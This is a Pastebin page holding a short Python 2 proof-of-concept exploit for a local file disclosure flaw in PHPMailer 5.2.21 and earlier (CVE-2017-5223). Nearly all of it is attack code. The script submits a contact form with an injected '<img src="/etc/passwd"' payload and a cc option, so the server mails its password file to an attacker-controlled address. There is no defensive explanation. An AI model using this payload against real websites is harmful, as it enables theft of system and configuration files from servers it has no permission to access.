Advertisement
AZZATSSINS_CYBERSERK

PHPMailer (Local File Disclosures)

Oct 28th, 2017
477
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.48 KB | None | 0 0
  1. #!/usr/bin/python
  2. import urllib
  3. import urllib2
  4. poc = """
  5. # Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
  6. """
  7. url = 'http://localhost/contact.php'
  8. email = 'attacker@localhost'
  9. payload = '<img src="/etc/passwd"'
  10. values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload}
  11. data = urllib.urlencode(values)
  12. req = urllib2.Request(url, data)
  13. response = urllib2.urlopen(req)
  14. html = response.read()
  15. print html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement